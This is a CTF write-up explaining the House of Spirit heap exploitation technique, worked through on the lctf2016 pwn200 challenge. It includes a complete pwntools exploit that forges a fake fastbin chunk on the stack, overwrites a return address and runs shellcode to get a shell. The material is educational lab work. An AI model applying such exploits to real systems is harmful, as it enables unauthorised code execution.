PWN House_of_Spirit
本文向读者介绍了计算机安全领域中的一种利用技术:House_of_spirit
,作者nova详细解析了这种技术如何通过在栈上构造伪造块(fake_chunk)来实现近乎任意的写入操作。关键点在于需要满足16字节对齐要求,以及伪造的下一个块的大小(next_fake_chunk size)来绕过检验。
通过实战案例lctf2016_pwn200
,作者展示了使用House_of_spirit
的具体操作过程。目标程序的保护机制几乎未开启,为了绕过栈溢出字节不足的问题,利用了程序中的Off-by-One
漏洞及其可能泄露的地址信息。详细步骤包括在缓冲区构造伪造块,将堆指针指向此伪造块,再通过相应的自由和分配操作将伪造块地址存入fastbin,最终获取shell。
在尝试另一个案例2014_hack.lu_oreo
时,作者提到在使用pwntools
时遇到无法接收动作的bug,并打趣地提示会后续解决。
总的来说,文章通过两个CTF实例深入浅出地展示了House_of_spirit
技术的实战应用,提供了丰富的图文说明,帮助读者掌握这项安全攻防技能。
Take a look at House_of_spirit
, which is a technique that relies on constructing fake_chunk
on the stack to achieve (almost) arbitrary write
. It depends on fastbin
.
Overall, it's relatively simple. The key points to note are the need for 16-byte alignment
and the requirement to construct chunk_size
of next_fake_chunk
to bypass checks.
Practical Combat
lctf2016_pwn200
No protections are enabled. Planning to go straight for ret2shellcode
, but we don't have enough bytes for stack overflow.
The first function who are u?
has an Off-by-One
vulnerability that leaks the contents pointed to by 400A8E
rbp
(which is the rbp
of the parent function).
def who_are_you(content: bytes) -> bytes:
sh.sendafter(b'who are u?\n', content)
sh.recv(0x30)
return sh.recv(6).ljust(8, b'\x00')
rbp = u64(who_are_you(b'a'*0x30))
print("> rbp:", hex(rbp))
The function read_input()
returns an int
, and even though 400A8E
is not used, it should be stored at some location on the stack. Based on the assembly, it is located at [rbp-0x38]
.
In 400A29
, it can be observed that dest
is a pointer, buf
has an overflow of 8
bytes, which can directly overwrite dest
. Since dest
will be stored in ptr
for later free
and malloc
operations in the menu
.
From this point, we can speculate that we can construct a fake_chunk
in buf
and manipulate the heap pointer to point to buf
, creating a chunk
on the stack. The challenge lies in the check_out
function where we need to forge fake_next_chunk_size
as required by House_of_spirit
.
Calculations reveal that the previous id
is located at our current buf+0x68
. Therefore, we could create a 0x50
-sized chunk
at this location and set the id
to a value that satisfies house_of_spirit
.
As a result, when we execute free(ptr)
, the address on the stack will be stored in fastbin
. Subsequently, by malloc(0x60)
again and writing the corresponding payload to modify the return address, we can obtain a shell.
By observing, we find that the only controllable ret_addr
is at ptr+0x40
. With the return address controllable, where should we jump to? Do you remember the 0x30
data we input at the beginning of who_r_u
? We can write the shellcode there. Just calculate the offset.
Complete EXP:
from pwn import *
context(os='linux', arch='amd64', log_level='DEBUG')
sh = process(['./pwn200'])
def who_are_you(content: bytes) -> bytes:
sh.sendafter(b'who are u?\n', content)
sh.recv(0x30)
return sh.recv(6).ljust(8, b'\x00')
def give_id(content: bytes):
sh.sendafter(b'give me your id ~~?', content)
def give_money(content: bytes):
sh.sendafter(b'give me money~', content)
def menu(index: int):
sh.recvuntil(b"your choice : ")
if index == 1:
sh.sendline(b"1")
elif index == 2:
sh.sendline(b"2")
sh.recvuntil(b"out~")
elif index == 3:
sh.sendline(b"3")
sh.recvuntil(b'good bye~')
def check_in(length_: bytes, content: bytes):
sh.sendlineafter(b'how long?', length_)
sh.sendlineafter(length_ + b'\n', content)
sh.recvuntil(b"in~")
def gdb_(time_: int = None, arg: str = None):
gdb.attach(sh, arg)
pause(time_)
rbp = u64(who_are_you(asm(shellcraft.sh()).ljust(0x30, b'\x00')))
# rbp = u64(who_are_you(b'a'*0x30))
print("> rbp:", hex(rbp))
give_id(b'2333') # next_fake_chunk_size
payload = p64(0) + p64(0x60) + b'\x00'*(0x40-0x10-0x08) + p64(rbp-0xb0)
give_money(payload)
menu(2)
ret_addr = rbp - 0x50
payload = b'\x00'*0x38 + p64(ret_addr) + b'\x00'*0x0F
menu(1)
check_in(b'80', payload)
menu(3)
sh.interactive()
2014_hack.lu_oreo
The bug that is quite puzzling (where pwntools
cannot capture Action
) was presented by LaughingMan. We'll discuss it later, have fun.